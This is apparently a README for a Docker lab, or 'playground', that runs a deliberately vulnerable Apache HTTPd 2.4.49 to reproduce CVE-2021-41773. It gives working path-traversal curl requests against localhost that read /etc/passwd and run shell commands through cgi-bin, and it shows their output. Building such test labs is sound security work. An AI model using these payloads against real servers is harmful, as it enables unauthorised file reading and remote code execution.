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- CVE-2021-41773 Playground
- This is a small Docker recipe for setting up a Debian bookworm based container with an instance of the Apache HTTPd (2.4.49) that is vulnerable to CVE-2021-41773.
- CGI has been explicitly enabled so it can be used to test/verify Local file Disclosure behavior as well as Remote Command Execution behavior.
- Usage
- $ docker-compose build && docker-compose-up
- Local file disclosure
- $ curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
- root:x:0:0:root:/root:/bin/bash
- daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
- bin:x:2:2:bin:/bin:/usr/sbin/nologin
- sys:x:3:3:sys:/dev:/usr/sbin/nologin
- sync:x:4:65534:sync:/bin:/bin/sync
- games:x:5:60:games:/usr/games:/usr/sbin/nologin
- man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
- lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
- mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
- news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
- uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
- proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
- www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
- backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
- list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
- irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
- gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
- nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
- _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
- Remote Code Execution
- $ curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
- uid=33(www-data) gid=33(www-data) groups=33(www-data)
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